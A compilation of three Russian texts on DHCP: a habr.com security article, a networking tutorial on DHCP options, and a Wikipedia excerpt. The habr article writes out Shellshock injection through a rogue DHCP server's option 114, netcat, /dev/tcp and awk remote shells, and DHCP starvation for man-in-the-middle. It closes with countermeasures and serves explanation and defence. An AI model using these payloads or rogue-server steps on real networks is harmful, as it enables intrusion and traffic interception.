Работает DHCP, в двух словах, примерно так:


  1. DHCPDISCOVER Клиент отправляет широковещательный сетевой пакет с целью найти DHCP-сервер в сети, при этом с канальным уровнем все понятно и о нем писать дальше не будем, сетевой — исходя из собственного опыта, здесь может быть всякое — зависит от клиента, но должно быть:

    SRC IP: 0.0.0.0, DST IP: 255.255.255.255.
    На транспортном уровне все запросы отправляются так:
    SRC PORT: 68, DST PORT: 67
    Соответственно, когда сервер отвечает клиенту:
    SRC PORT: 67, DST PORT: 68

    Контрольную сумму UDP можно не считать. Мы не встречали ни одного DHCP-сервера, который бы ее проверял, да и сетевое оборудование пропускает пакеты с нулевым значением UDP checksum без проблем. В первом байте прикладного уровня (поле op — тип сообщения) клиент выставляет значение — 0х01 (BOOTREQUEST — запрос от клиента к серверу). На остальных полях пакета не будем останавливаться, поскольку их описание, длина и значения есть в RFC и в WIKI. В запросе от клиента нам также интересно поле xid (Transaction ID — рандомное число размером 4 байта по смещению 0х04 от начала прикладного уровня в пакете). Если сервер в ответе выставит поле xid не равным xid клиента, то клиент отбросит ответ от сервера, поскольку посчитает, что этот ответ в другой транзакции. Остановимся на DHCP-опциях пакета. Всего их 256, а полный список можно найти здесь или тут. Клиент обязательно выставляет опцию с кодом 53 (DHCP message type тип DHCP сообщения) равной 0х01, это значит, что данный пакет предназначен для нахождения DHCP-сервера, и опцию 55 (Parameter Request List список запрашиваемых у сервера параметров, например адрес шлюза, маска подсети, DNS-серверы и т.д.).

    Вот так выглядит этот запрос в WireShark:


  2. DHCPOFFER Сервер получает запрос от клиента и отправляет ему предложение. На сетевом уровне в качестве SRC IP сервер выставляет свой IP-адрес, в DST IP должно быть: 255.255.255.255, но это не всегда так. В DST IP также может быть выставлен IP-адрес, выделенный клиенту, или IP-адрес ретранслятора, если тот участвует в процессе. Вы спросите, а как же пакет доходит до клиента, если у него еще нет IP-адреса? Все просто: в DHCPDISCOVER- и DHCPREQUEST-запросах, в поле chaddr (Сlient MAC address) клиент указывает свой MAC-адрес.

    Таким образом, сервер или ретранслятор знают, куда доставлять пакет на канальном уровне, поскольку сервер или ретранслятор всегда находятся в пределах одного широковещательного домена с клиентом, а что происходит на сетевом уровне, не так уж и важно UDP магия. В типе сообщения значение 0х02 (BOOTREPLY — ответ сервера клиенту). В поле xid выставляется значение, равное значению поля xid в запросе клиента. В поле yiaddr (Your (client) IP address) выставляется IP-адрес клиента, предложенный сервером. Что появляется в DHCP-опциях: в опции с кодом 53 (DHCP message type) значение — 0х02 (DHCPOFFER), код 51 (IP Address Lease Time) — время аренды IP-адреса, код 54 (Server Identifier) — IP-адрес DHCP-сервера. Все остальные опции предложения зависят от того, какие параметры запросил клиент, их список клиент указал в DHCPDISCOVER-запросе в опции с кодом 55 (Parameter Request List).


  3. DHCPREQUEST Клиент отправляет серверу запрос на получение сетевых параметров. На сетевом уровне должно быть так: SRC IP: 0.0.0.0 DST IP: 255.255.255.255 но может быть и так: в SRC IP выставляется IP-адрес, который назначил сервер в своем предложении (поле yiaddr), а в DST IP выставляется IP-адрес, который расположен в опции предложения сервера с кодом 54 (Server Identifier). DHCP-опции в этом запросе не отличаются от DHCPDISCOVER-запроса, за исключением опции с кодом 53 (DHCP message type тип DHCP сообщения), равной 0х03 — это значит, что данный пакет предназначен для запроса параметров от DHCP-сервера. И еще клиент добавляет в запрос опцию с кодом 54 (Server Identifier), поскольку уже знает IP-адрес сервера, а также опцию с кодом 50 (Requested IP address). Кроме того, клиент может выставить опцию 12(Host Name Option свое имя хоста) и т.п.


  4. DHCPACK Сервер отправляет клиенту подтверждение. На сетевом уровне должно быть так: SRC IP: <IP-адрес сервера> DST IP: 255.255.255.255. Опции и поля этого пакета не отличаются от DHCPOFFER, за исключением опции с кодом 53 (DHCP message type тип DHCP-сообщения), равной 0х05 — это значит, что данный пакет — подтверждение от DHCP-сервера.

Далее, клиент с помощью протокола ARP пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Если конфликт не найден, клиент выставляет полученные из DHCPACK параметры сетевому интерфейсу. Если обнаружен, клиент рассылает широковещательное сообщение отказа DHCP DHCPDECLINE, после чего процедура получения IP-адреса повторяется.

Также у протокола DHCP есть еще одна особенность: если клиент ранее отправлял запрос DHCPDISCOVER, то при повторном подключении к той же сети клиент сразу отправляет DHCPREQUEST; при этом в DHCP-опции с кодом 50 (Requested IP address) выставляется IP-адрес, полученый ранее.

Остановимся на упомянутом DHCPDECLINE подробнее. На практике это выглядит так:


  1. Клиент отправляет DHCPREQUEST, поскольку уже подключался к этой сети. Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; Client MAC address: 08:00:27:ce:7a:64


  2. Сервер отвечает DHCPACK.
    Transaction ID: 0x825b824a; yiaddr: 192.168.1.171; siaddr: 192.168.1.1; router: 192.168.1.1


  3. Клиент с помощью протокола ARP узнает MAC-адрес шлюза, а далее, через тот же ARP, пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Запрос выглядит так:

    sender mac: 08:00:27:ce:7a:64; sender ip: 0.0.0.0; target mac: 00:00:00:00:00:00; target ip: 192.168.1.171


  4. Хост с IP-адресом 192.168.1.171 отвечает на ARP-запрос.


  5. Клиент выявил конфликт IP-адресов в сети и отправляет широковещательный DHCPDECLINE.

    Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; ciaddr: 192.168.1.171


  6. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0x713a0fe7. Вы обратили внимание на пакеты с номерами 89, 101, 106, 136 и 151? Если да, то наверняка поняли, что на этот раз сервер выделил клиенту IP-адрес 192.168.1.172 и перед этим DHCP-сервер сам с помощью того же ARP (пакеты с номерами 89, 101, 106: Who has 192.168.1.172? Tell 192.168.1.1) убедился, что IP-адрес 192.168.1.172 свободен, и только потом отправил DHCPOFFER. После этого клиент еще раз попытался выявить конфликт IP-адресов (пакеты с номерами 136, 151: Who has 192.168.1.172? Tell 0.0.0.0).

Мы уже знаем, что клиент, подключившись хотя бы раз к сети, будет отправлять только DHCPREQUEST-запрос, выставляя при этом в Requested IP адрес, который получил ранее. Но что если DHCP-сервер уже выделил этот IP-адрес, поменялась конфигурация или адресация, и сервер не может дать клиенту этот адрес? Для этого существует тип сообщения DHCPNAK. Работает он следующим образом:


  1. Клиент отправляет DHCPREQUEST.
    Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14


  2. В настройках сервера указан диапазон, в котором он может выделять IP-адрес, но тот, который запросил клиент, не входит в данный диапазон, поэтому сервер отправляет DHCPNAK.
    Transaction ID: 0xa7ddc5cb; Message: address not available


  3. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0xcfbf77a9.


Перейдем к shellshock

Про то, как и почему работает shellshock, писать нет никакого смысла, ведь эта уязвимость — одна из самых популярных, и о ней есть великое множество статей. Лучше остановимся на моменте, как получить shell на клиенте DHCP, в случае, если мы выступим в роли DHCP-сервера.


В какие поля и опции можно инъектировать?

Ответ: практически в любые! Вот список кодов DHCP-опций, в которые возможно инъектировать (проверено на NetworkManager из состава CentOS 6.5): 14, 18, 43, 56, 60, 61, 62, 63, 64, 66, 67, 77, 80, 82, 83, 84, 86, 87, 90, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 120, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 250, 251, 253.

В нашем PoC мы будем использовать DHCP-опцию с кодом 114 (URL). Почему? Потому, что ее длина — вариативна (максимальная длина — 256 байт), а также потому, что ее все используют. Ее описание еще есть здесь. Существует даже статья о том, как с помощью этой опции обновить уязвимые к shellshock системы 🙂


Какие у нас ограничения?

Ответ: их много, слишком много!


  1. Длина — 256 байт
  2. Возможно использовать только команды интерпретатора
  3. Большое ограничение на используемые символы: некоторые фильтруются, некоторые экранируются. Это зависит от клиента DHCP. Вот набор символов, которые не везде получится использовать: "';&|
  4. После выполнения команды, IPv4-адрес может не присвоиться, в таком случае возможно использовать IPv6 link-local-адрес, если на интерфейсе не включено игнорирование IPv6
  5. Необходимо использовать абсолютные пути, иначе команда может не выполниться

И что тогда делать?

Ответ: обходить ограничения!
Для обхода фильтра мы должны выполнить все одной командой. Сделаем это так:

/bin/sh <(/usr/bin/base64 -d <<< Base64String)

Здесь на вход интерпретатора /bin/sh мы подаем вывод /usr/bin/base64, которая декодирует строку Base64String. Таким образом, мы использовали уже 34 байта, длина Base64String не должна превышать 222 байтов.

А что будет в Base64String? Не забываем про четвертое ограничение, поэтому в первую очередь выставим IP-адрес интерфейсу командой:

/bin/ip addr add <IP>/<MASK> dev eth0;

Эта команда накладывает на нас еще одно ограничение: мы должны знать имя интерфейса, которому выставляем IP-адрес. По умолчанию, в старых версиях Linux, на которых еще есть shellshock, первый сетевой интерфейс называется eth0, так что ориентируемся на него. Еще в эту строку мы должны поместить reverse shell или bind shell.

Для reverse shell будем использовать стандартный shell с использованием nc:

nc -e /bin/sh <IP> <PORT> 2>&1 &
rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f &

Для reverse shell также можно использовать команду отсюда:

/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Для bind shell будем использовать /cmd/unix/bind_awk из состава Metasploit, как один из наиболее коротких:

awk 'BEGIN{s="/inet/tcp/<PORT>/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &

PoC


Видео:





Еще немного про DHCP

Ни в коем случае DHCP нельзя рассматривать исключительно как метод получения RCE на клиентах, потому что, во-первых, мы должны ответить быстрее реального DHCP-сервера в сети, и, во-вторых, на клиенте должен быть shellshock, а это маловероятно. Протокол DHCP в первую очередь необходимо рассматривать как метод осуществления MITM.

Поговорим о том, как ответить на любой запрос быстрее DHCP-сервера. Самый очевидный вариант — быть ближе к клиенту по расположению в сети, и еще наше железо и алгоритм должны работать быстрее. Однако, в большинстве случаев это не так.

Есть второй вариант: нужно нагрузить сервер, но при этом не занимать новые IP-адреса в сети, чтобы не исчерпать весь пул свободных адресов (такая атака называется DHCP starvation). Как вы уже поняли, необходимо отправлять большое количество запросов DHCPDISCOVER, поскольку сервер должен обработать каждый из них и отправить в ответ DHCPOFFER. Однако, в рамках данной транзакции DHCPREQUEST мы отправлять не будем, поэтому сервер будет его ждать. IP-адрес не будет считаться выделенным, потому что процедура получения IP не завершена.

Давайте посмотрим, как это выглядит на практике.

Графы нагрузки и процессы до отправки DHCPDISCOVER-запросов:

На рисунках видно, что load average роутера колеблется от 0.1 до 0.3, и процесс dnsmasq занимает 0% CPU.

Графы нагрузки, процессы и список DHCP-клиентов во время отправки DHCPDISCOVER-запросов:

Load average роутера повысился до 1.96, и он уже не успевает отвечать на все запросы DHCPDISCOVER, процесс dnsmasq занимает целых 64% CPU, но при этом в списке DHCP клиентов только наш хост.

В результате, мы и сервер немного нагрузили, и IP-адреса не заняли. Если мы отфильтруем все сгенерированные нами же запросы DHCPDISCOVER, вероятнось того, что мы ответим быстрее реального DHCP-сервера, значительно увеличится. Задача выполнена, идем дальше.

Теперь поговорим о типах DHCP сообщений:


Value Message_Type
1 DHCPDISCOVER
2 DHCPOFFER
3 DHCPREQUEST
4 DHCPDECLINE
5 DHCPACK
6 DHCPNAK
7 DHCPRELEASE
8 DHCPINFORM

Первые шесть типов сообщений мы уже разобрали, осталось всего два: седьмой (DHCPRELEASE) и восьмой (DHCPINFORM). Остановимся на них подробнее.

Клиент может явным образом прекратить аренду IP-адреса. Для этого он отправляет сообщение освобождения аренды адреса DHCPRELEASE тому серверу, который предоставил адрес ранее. В отличие от других сообщений, это не рассылается широковещательно.

Сообщение информации DHCPINFORM предназначено для определения дополнительных сетевых параметров теми клиентами, у которых IP-адрес настроен вручную. Исходя из своего опыта, можем сказать, что такие сообщения отправляют только Windows хосты :(. Сервер отвечает на подобный запрос DHCPACK без выделения IP-адреса. Для этих сообщений существует свой проект rfc. Вы уже поняли, что мы можем выставить в DHCPACK свой шлюз, DNS, и т.д. Главное — ответить раньше реального DHCP сервера, а эта проблема уже решена выше.


DHCP starvation & DHCP relay agent

В данной статье мы упоминали про атаку DHCP starvation — исчерпание пула свободных IP-адресов. Бытует мнение, что провести данную атаку возможно, отправляя лишь большое количество DHCPDISCOVER или DHCPREQUEST запросов с рандомных MAC-адресов, и тогда на каждый такой запрос DHCP-сервер выделит и зарезервирует IP-адрес, но это не всегда так. Как мы уже знаем, процедура получения и резервирования IP-адреса заканчивается тогда, когда DHCP-сервер отправляет сообщение DHCPACK. Наиболее корректно производить данную атаку, представляясь как DHCP relay agent.

Приведем пример:


  1. Наш сетевой интерфейс enp0s3 с MAC-адресом: 08:00:27:6a:82:5f и IP-адресом: 192.168.1.2. В качестве DHCP-сервера будет выступать Dnsmasq/2.73 из состава OpenWrt Chaos Calmer 15.05.1 IP-адрес: 192.168.1.1


  2. Начинаем отправку запросов:

Таким образом, мы забъем весь пул свободных IP-адресов, а легитимный DHCP-клиент сможет получить IP-адрес от этого DHCP-сервера только через 12 часов. Пока легитимный DHCP-сервер не может отправить ответы клиентам, это можем сделать мы!

Как это работает:


  1. Формируем и отправляем широковещательный DHCPDISCOVER-запрос, при этом представлемся как DHCP relay agent. В поле giaddr (Relay agent IP) указываем свой IP-адрес 192.168.1.2, в поле chaddr (Client MAC address) — рандомный MAC 00:19:bb:f5:e7:a8, при этом на канальном уровне в SRC MAC выставляем свой MAC-адрес.


  2. Сервер отвечает сообщением DHCPOFFER агенту ретрансляции (нам), и предлагает клиенту с MAC-адресом 00:19:bb:f5:e7:a8 IP-адрес 192.168.1.232


  3. После получения DHCPOFFER, отправляем широковещательный DHCPREQUEST-запрос, при этом в DHCP-опции с кодом 50 (Requested IP address) выставляем предложеный клиенту IP-адрес 192.168.1.232, в опции с кодом 12 (Host Name Option) — рандомную строку. Важно: значения полей xid (Transaction ID) и chaddr (Client MAC address) в DHCPREQUEST и DHCPDISCOVER должны быть одинаковыми, иначе сервер отбросит запрос, ведь это будет выглядеть, как другая транзакция от того же клиента, либо другой клиент с той же транзакцией.


  4. Сервер отправляет агенту ретрансляции сообщение DHCPACK. С этого момента IP-адрес 192.168.1.232 считается зарезервированным за клиентом с MAC-адресом 00:19:bb:f5:e7:a8 на 12 часов (время аренды по умолчанию).


Выводы

Способы противодействия:


  1. DHCP snooping — функция коммутатора, предназначенная для защиты от атак с использованием протокола DHCP. Например, атаки с подменой DHCP-сервера в сети;


  2. Port security — функция коммутатора, позволяющая указать MAC-адреса хостов, которым разрешено передавать данные через порт. После этого порт не передает пакеты, если MAC-адрес отправителя не указан как разрешенный;


  3. Настройка сетевого оборудования с целью ограничения количества DHCPDISCOVER и DHCPREQUEST запросов с одного MAC-адреса и/или IP-адреса;


  4. Запись и анализ трафика в сети для отслеживания аномалий. Например, обычное количество DHCP-запросов в вашей сети не превышает 100-200 в день, а во время атаки DHCP starvation их число увеличивается многократно. Еще один пример: обычно в вашей сети количество DHCP-ответов не превышает количества DHCP-запросов, а теперь количество DHCP-ответов стало вдвое больше DHCP-запросов. Это значит, что кто-то производит атаку с подменой DHCP-сервера;


  5. Использование IDS, IPS, SIEM и систем мониторинга оборудования типа Zabbix;


  6. По возможности использовать статическую привязку MAC — IP на DHCP сервере;


  7. Использовать DHCP-ретрансляторы и DHCP-сервера поддерживающие DHCP опцию с кодом 82;


  8. Непрерывное обновления программного обеспечения. Обновить хосты можно и так 🙂

habr.com

Назначение и возможности протокола DHCP? Какие бывают опции в протоколе DHCP (DHCP options) и зачем они нужны?

Привет, посетитель сайта ZametkiNaPolyah.ru! Продолжаем изучать основы работы компьютерных сетей. В девятой части мы с вами будем разбираться с тем, как работает протокол DHCP (Dynamic Host Configuration Protocol) и зачем он вообще нужен? Эта запись как раз будет про назначение и возможности протокола DHCP, а также мы с вами рассмотрим DHCP опции и их назначение в протоколе. Как всегда, торопиться никуда не будем, сперва рассмотрим DHCP в общих чертах, а затем будем разбираться с частностями.

9.1.1 Введение

Содержание статьи:

В курсах ICND1 и ICND2 протокол DHCP рассматривается очень поверхностно, да и в целом Cisco размазала информацию об этом протоколе на треки разных направлений и по разным уровням. Мы же рассмотрим DHCP довольно подробно и, пожалуй, рассмотренной информации хватит не только для того, чтобы ответить на вопросы по DHCP, которые могут встретиться на экзамене CCNA R&S, но и на вопросы, которые могут быть на экзамене CCNP R&S.

9.1.2 Зачем нужен протокол DHCP и как он связан с протоколом IP?

В теме Протокол IPv4 мы говорили о статических и динамических IP-адресах, мы затронули самые основные моменты, касающиеся DHCP и его назначения, сейчас мы кратко вспомним то, что было рассмотрено ранее. Думаю, все прекрасно знают, что такой инструмент, как молоток, в основном используется для забивания гвоздей, то есть нам всем ясно зачем нужен молоток. Так давайте сперва выясним – зачем нам нужен протокол DHCP.

Протокол DHCP (Dynamic Host Configuration Protocol) или протокол динамического конфигурирования хостов нужен для автоматизации процесса настройки сетевых интерфейсов в компьютерной сети. Протокол DHCP с тем или иным успехом решает две глобальные задачи:

  1. Избавляет инженера от однотипной и монотонной работы по настройке IP-адресов, шлюзов, масок подсетей, адресов DNS-серверов и других необходимых параметров для работы устройства в компьютерной сети. При выполнении такой работы еще и легко ошибиться, ведь устройств может быть сотни, а то и тысячи.
  2. Протокол DHCP в какой-то мере, но не на 100%, защищает вашу сеть от такого неприятного явления как дублирование IP-адресов. При ручной настройке узлов компьютерной сети у вас может быть два подхода: либо вы ведете учет выданных IP-адресов и куда-нибудь записываете конфигурации ваших узлов, либо вы пускаете это дело на самотек и выдаете IP-адреса своим узлам, руководствуясь желанием своей левой пятки. В маленьких и очень маленьких сетях второй подход применим, а вот в больших сетях возникнут проблемы даже в том случае, когда вы будете вести строгий учет, проблемы возникнут именно с учетом, каждый новый IP-адрес в вашей учетной системе будет делать учет всё более сложным. Протокол DHCP позволяет избавиться от этого ручного учета, ведь DHCP-сервер будет запоминать те IP-адреса, которые он выдал, возможно, он будет запоминать даже кому он выдал тот или иной IP-адрес, чтобы затем выдать его вновь.

В этой теме мы будем разбираться с протоколом DHCP в связке с протоколом IPv4, хотя стоит заметить, что рассматривать DHCP без протокола IP вообще нет никакого смысла, просто дело всё в том, что DHCPv6 имеет несколько другие задачи, но это совсем другая история. Вообще, протокол DHCP, как и многие другие протоколы (например, NAT), возник из-за недостатков IPv4, дело в том, что в IPv4 нет механизма по автоматическому назначению IP-адресов на интерфейсы, а вот в IPv6 такой механизм уже имеется. То есть DHCP расширяет возможности IPv4 и делает жизнь сетевого инженера более простой и приятной, правда этому инженеру придется изучать как этот DHCP работает.

Также не стоит воспринимать DHCP, как протокол для выдачи IP настроек узлам сети, выдавать можно не только IP-адреса и маски, но еще и огромное множество параметров, параметры, которые DHCP-сервер может сообщать клиенту, называются опции, ниже мы о них поговорим, но сразу замечу, что мы разберемся только с механизмом работы опций, все опции перечислить я не смогу и более того, я их все не знаю, да и не очень хочется мне их знать, если честно.

Протокол DHCP был стандартизован в 1993 году и является наследником протокола BOOTP, это мы увидим, когда познакомимся со структурой сообщений в DHCP, кстати говоря, по схожему принципу с DHCP работает протокол RARP, но он нам совсем неинтересен. DHCP описан в спецификации RFC 2131.

9.1.3 Режимы работы DHCP сервера

Куда важнее понимать режимы работы DHCP-сервера, чтобы он работал так, как вам хочется, а не так, как получается. Эта тема для нас не нова, поэтому здесь я буду краток.

  1. Ручное назначение статических IP-адресов.
  2. Автоматическое назначение статических адресов.
  3. Автоматическое распределение динамических адресов.

Третий режим работы DHCP-сервера в списке самый популярный. Во всех трех режимах работы администратор должен сообщить серверу диапазоны или пулы IP-адресов, которые тот будет выдавать клиентскому оборудованию, каждый диапазон IP-адресов должен быть из одной подсети, то есть в одном диапазоне не может быть адресов из разных подсетей. Давайте дадим описание каждому из этих режимов.

Ручной режим работы DHCP-сервера. Этот режим работы не очень сильно отличается от статической настройки клиентских устройств. Разница лишь в том, что администратор не бегает по всей сети и все настройки производит на DHCP-сервере. В таком режиме серверу нужно задать жесткое соответствие между IP-адресами и MAC-адресами. Устройство с одним конкретным мак-адресом всегда будет получать один и тот же IP-адрес, если в базе данных DHCP-сервера нет мак-адреса или для мак-адреса не задан IP-адрес, то клиент настройки не получит.

Автоматическое назначение статических адресов. Главной особенностью работы этого режима является то, что сервер выдает IP-адрес клиенту не на определенное время (в DHCP это время называется временем аренды или lease time), а навсегда. DHCP-сервер выдает клиенту IP-адрес без вмешательства администратора, при первом обращение клиента сервер его запоминает и затем постоянно выдает этому клиенту один и тот же IP-адрес.

Режим автоматического распределения динамических адресов. Это то, что нас больше всего интересует, самый гибкий и самый универсальный режим. В таком режиме сервер выдает IP-адрес клиенту не навсегда, а на строго определенное время, которое называется временем аренды, это время назначается администратором, когда время аренды будет истекать, клиент, если захочет, может его продлить, чтобы не менять IP-адрес. Тут стоит заметить, что в этом режиме адреса для клиентов тоже можно зафиксировать за конкретным клиентом, например, при помощи опции 82, но об этом позже.

У третьего режима есть один очень существенный плюс, этот плюс заключается в повторном использование IP-адресов, вот не нужен клиенту уже IP-адрес, он и сообщает об этом серверу, сервер его освобождает, а затем он может выдать этот адрес другому клиенту.

9.1.4 Опции DHCP протокола и зачем они нужны? Список стандартных DHCP опций

Вы уже, наверное, поняли, что протокол DHCP относится к группе протоколов, работающих по архитектуре клиент-север, DHCP относится к прикладному уровню моделей OSI 7 и TCP/IP, а сообщения DHCP инкапсулируются в UDP дейтаграммы, но сейчас речь не об этом. Сейчас нам нужно понять, что клиент делает запрос к серверу на получение параметров, необходимы для того, чтобы клиент мог получить полноценный доступ к ресурсам компьютерной сети, эти параметры называются DHCP опции. Если говорить грубо, то клиент просто сообщает серверу – какие опции ему необходимы, а сервер на основе каких-то своих критериев может принять решение – какие опции и с какими значениями нужно выдать клиенту, а может их вообще этому клиенту выдавать не нужно.

При этом стоит заметить, что опции DHCP могут быть стандартными, а могут быть и не стандартными и тут первый камень преткновения. Не все реализации DHCP-серверов, как и не все программные реализации DHCP-клиентов, поддерживают весь список стандартных опций, некоторые реализации DHCP имеют свои нестандартные опции, которые не поддерживаются другими реализациями и это всё может внести хаос в упорядоченный мир DHCP. Дело в том, что клиент может получить опцию, а сервер, соответственно, ее выдать, только в том, случае, если и клиент, и сервер понимают эту опцию и умеют с ней работать, что, собственно, логично.

Очевидная проблема, которая у вас может возникнуть: для подключения клиентского устройства к компьютерной сети нужна опция, с которой это устройство работать не умеет, ну вот не добавили поддержку этой опции производители и всё тут. Список стандартных DHCP опций описан в RFC 2132. Более того, для каждой стандартной опции есть свой RFC, который описывает – зачем эта опция нужна и как она должна работать.

Если говорить о самых часто используемых опциях DHCP, то вот вам небольшой список сейчас и в конце будет еще:

  • IP-адрес шлюза по умолчанию;
  • маска подсети;
  • адреса DNS-серверов;
  • имя домена DNS.

Для передачи опций между клиентом и сервером в DHCP пакете есть специальное поле переменной длинны, которое так и называется – options. Это поле имеет переменную длину, но при этом все остальные поля DHCP сообщения фиксированные. Если учесть, что и DHCP-клиент, и DHCP-сервер должны уметь обработать пакет размером 576 байт (576 байт взято не с потолка, а из ограничений некоторых старых протоколов), а также знать размер других полей в пакете, то нетрудно будет посчитать, что поле options имеет минимальную длину 340 байт. При этом самое поле options начинается с фиксированной последовательности Magic Cookie, которая выглядит так: 0×63825363. Можно сказать и по-другому, Magic Cookie – это четыре байта со значениями 99, 130, 83, 99. Как это не назови, но по этой последовательности устройство понимает, что фиксированная часть пакета закончилась и начались DHCP опции.

Кстати говоря, в DHCP пакете есть еще два необязательных поля, то есть в пакете есть пространство, вместо которого можно передавать опции – это поля file (64 байта) и snmae (128 байт). Что еще можно добавить про опции DHCP? Каждая стандартная опция имеет уникальный номер от 0 до 255, вернее правильнее будет говорить код, а не номер. У каждой опции есть размер, при этом у некоторых опций определен не строго фиксированный размер, а какие-то границы, в которых опция может плавать. Более подробную информацию о DHCP опциях вам придется смотреть в специальных RFC, дело всё в том, что некоторые опции должны начинаться, например, с нуля, некоторые опции нельзя использовать вместе, есть еще ряд других особенностей, в которые углубляться нам смысла сейчас нет.

Осталось лишь сказать, что поле опций в DHCP пакете всегда должно заканчиваться опцией с кодом 255, по этой опции устройства понимают, что это конец, больше опций не будет, да и сам DHCP пакет на этом закончился.

9.1.6 Список самых часто используемых DHCP опции

Ниже вы найдете таблицу, в которой перечислены самые часто используемые опции в DHCP, вероятность с ними столкнуться очень велика и я бы рекомендовал ознакомится с ними подробнее в соответствующих RFC.

КодНазваниеДлинаОписание опции
1Subnet Mask4Маска подсети
3Routerx4Перечисление доступных маршрутизаторов. Или проще говоря, IP-адреса доступных шлюзов по умолчанию, в сети их может быть несколько.
6Name Serverx4Перечисление доступных DNS серверов
12Host Name1+Символьное имя узла
23Default IP TTL1Позволяет задать TTL, которое обязан будет использовать клиент при отправке пакетов в сеть. При помощи этой опции можно ограничить доступ пользователям в сеть Интернет.
26Interface MTU2Если вам нужно чтобы все узлы использовали одинаковый MTU, то вот опция.
33Static IP Routex8Вы же помните, что когда-то сети были классовыми, изначально это поле было для выдачи маршрутов узлам в классовых сетях, поэтому для маски здесь место не нашлось. Сейчас, в эпоху VLSM и CIDR, при помощи этой опции можно выдавать узлам статические маршруты к удаленным сетям с маской /32.
35ARP Cache Timeout4У протокола ARP есть кэш, каждая операционная система хранит ARP кэш разное время, чтобы упорядочить этот хаос есть 35 опция DHCP, которая заставляет все узлы хранит ARP-записи одинаковое количество времени.
50Requested IP Address4Эту опцию использует клиент для того, чтобы сообщить серверу о том, какой IP-адрес он хочет получить.
55Parameter Request List1+При помощи этой опции DHCP-клиент сообщает серверу список опций, которые ему хочется получить.
61Client Identifier2+DHCP-сервер ведет сопоставление IP и MAC-адресов, он запоминает какому мак-адресу какой IP был назначен. Но вместо мак-адресов можно использовать идентификатор клиента.
66TFTP Server Name1+Название опции говорит само за себя.
82Я не знаю, как эта опция называется, а в RFC смотреть лень. Все инженеры вокруг меня просто говорят восемьдесят вторая опция.С этой опцией мы будем знакомиться отдельно, кратким описанием тут не отделаешься.
121Classless Route5+Этой опцией можно выдавать маршруты по умолчанию в бесклассовых сетях.
150TFTP Server IP Address4Тут тоже всё ясно из названия.
255End0Если опции в пакете есть, то эта опция является обязательной, она означает, что других опций уже не будет и это конец DHCP пакета.

9.1.7 Выводы

Это было знакомство с протоколом DHCP и его основными особенностями, вы, наверное, заметили, что вся самая важная информация в DHCP передается в виде опций, поле опции является довольно гибким инструментом для динамической конфигурации хостов.

zametkinapolyah.ru

DHCP — Википедия

Не следует путать с HDCP.
DHCP
Название Dynamic Host Configuration Protocol
Уровень (по модели OSI) Прикладной [1]
Семейство TCP/IP
Создан в 1990
Порт/ID 67, 68/UDP
Назначение протокола Получение сетевой конфигурации
Спецификация RFC 2131
Основные реализации (клиенты) ISC DHCP, ядро Windows
Основные реализации (серверы) dhcpd, ISC DHCP Server, Infoblox

DHCP (англ. Dynamic Host Configuration Protocol — протокол динамической настройки узла) — сетевой протокол, позволяющий компьютерам автоматически получать IP-адрес и другие параметры, необходимые для работы в сети TCP/IP. Данный протокол работает по модели «клиент-сервер». Для автоматической конфигурации компьютер-клиент на этапе конфигурации сетевого устройства обращается к так называемому серверу DHCP, и получает от него нужные параметры. Сетевой администратор может задать диапазон адресов, распределяемых сервером среди компьютеров. Это позволяет избежать ручной настройки компьютеров сети и уменьшает количество ошибок. Протокол DHCP используется в большинстве сетей TCP/IP.

DHCP является расширением протокола BOOTP, использовавшегося ранее для обеспечения бездисковых рабочих станций IP-адресами при их загрузке. DHCP сохраняет обратную совместимость с BOOTP.

История

Стандарт протокола DHCP был принят в октябре 1993 года. Действующая версия протокола (март 1997 года) описана в RFC 2131. Новая версия DHCP, предназначенная для использования в среде IPv6, носит название DHCPv6 и определена в RFC 3315 (июль 2003 года).

Распределение IP-адресов

Протокол DHCP предоставляет три способа распределения IP-адресов:

  • Ручное распределение. При этом способе сетевой администратор сопоставляет аппаратному адресу (для Ethernet сетей это MAC-адрес) каждого клиентского компьютера определённый IP-адрес. Фактически данный способ распределения адресов отличается от ручной настройки каждого компьютера лишь тем, что сведения об адресах хранятся централизованно (на сервере DHCP), и потому их проще изменять при необходимости.
  • Автоматическое распределение. При данном способе каждому компьютеру на постоянное использование выделяется произвольный свободный IP-адрес из определённого администратором диапазона.
  • Динамическое распределение. Этот способ аналогичен автоматическому распределению за исключением того, что адрес выдаётся компьютеру не на постоянное пользование, а на определённый срок. Это называется арендой адреса. По истечении срока аренды IP-адрес вновь считается свободным, и клиент обязан запросить новый (он, впрочем, может оказаться тем же самым). Кроме того, клиент сам может отказаться от полученного адреса.

Некоторые реализации службы DHCP способны автоматически обновлять записи DNS, соответствующие клиентским компьютерам, при выделении им новых адресов. Это производится при помощи протокола обновления DNS, описанного в RFC 2136.

Опции DHCP

Помимо IP-адреса, DHCP также может сообщать клиенту дополнительные параметры, необходимые для нормальной работы в сети. Эти параметры называются опциями DHCP. Список стандартных опций можно найти в RFC 2132.

Некоторыми из наиболее часто используемых опций являются:

Некоторые поставщики программного обеспечения могут определять собственные, дополнительные опции DHCP.

